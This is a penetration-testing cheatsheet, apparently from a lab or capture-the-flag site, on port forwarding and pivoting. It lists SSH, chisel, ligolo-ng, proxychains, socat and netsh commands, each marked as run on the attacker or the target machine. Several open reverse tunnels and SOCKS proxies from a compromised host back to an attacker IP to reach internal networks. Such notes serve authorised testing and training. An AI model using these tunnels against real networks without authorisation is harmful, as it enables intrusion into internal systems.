Port forwarding and pivoting

If the box has a port that only listens on 127.0.0.1 or a second network, this is how to bring it to your machine.

Your values Saved in this browser and applied to every cheatsheet.

SSH

With SSH access to the target

Bring an internal port over (local) Attacker 
ssh -L 8080:127.0.0.1:8080 [email protected]

Then open http://127.0.0.1:8080 in your browser.

SOCKS proxy for the whole internal network (dynamic) Attacker 
ssh -D 1080 -N [email protected]
Push a target port to you (remote) Target 
ssh -R 8080:127.0.0.1:8080 [email protected] -N
Add a tunnel without reconnecting Keys 
~C
-L 3306:127.0.0.1:3306

Inside an open SSH session, press Enter, then ~C and type the option.

chisel

Use the same chisel version on both machines. It runs over HTTP, so it usually gets through firewalls.

A single port

Server on your machine Attacker 
./chisel server --reverse -p 8000
Client on the target Target 
./chisel client 10.10.14.5:8000 R:8080:127.0.0.1:8080

SOCKS proxy to the internal network

Client on the target Target 
./chisel client 10.10.14.5:8000 R:socks

Opens a SOCKS5 proxy on port 1080 of your machine.

Windows Target 
.\chisel.exe client 10.10.14.5:8000 R:socks

ligolo-ng

Creates a network interface on your machine, so you can use nmap and any tool without proxychains. Recent versions can also create the interface from their console (type help).

Set up the tunnel

Create the interface on your machine Attacker 
sudo ip tuntap add user $(whoami) mode tun ligolo
sudo ip link set ligolo up
Proxy on your machine Attacker 
./proxy -selfcert
Agent on the target Target 
./agent -connect 10.10.14.5:11601 -ignore-cert
In the ligolo console (pick the session and start) Attacker 
session
start
Route to the internal network Attacker 
sudo ip route add 172.16.1.0/24 dev ligolo

Replace 172.16.1.0/24 with the internal network; the subnet calculator helps you work it out.

Others

proxychains

Configure the proxy (end of /etc/proxychains4.conf) Attacker 
socks5 127.0.0.1 1080
Scan through the proxy Attacker 
proxychains -q nmap -sT -Pn --top-ports 100 172.16.1.10

Only TCP connect (-sT) works through proxychains, without ping (-Pn).

Simple redirects

socat (forward a port) Target 
socat TCP-LISTEN:8888,fork TCP:127.0.0.1:80
Windows (netsh, as administrator) Target 
netsh interface portproxy add v4tov4 listenport=8888 listenaddress=0.0.0.0 connectport=80 connectaddress=172.16.1.10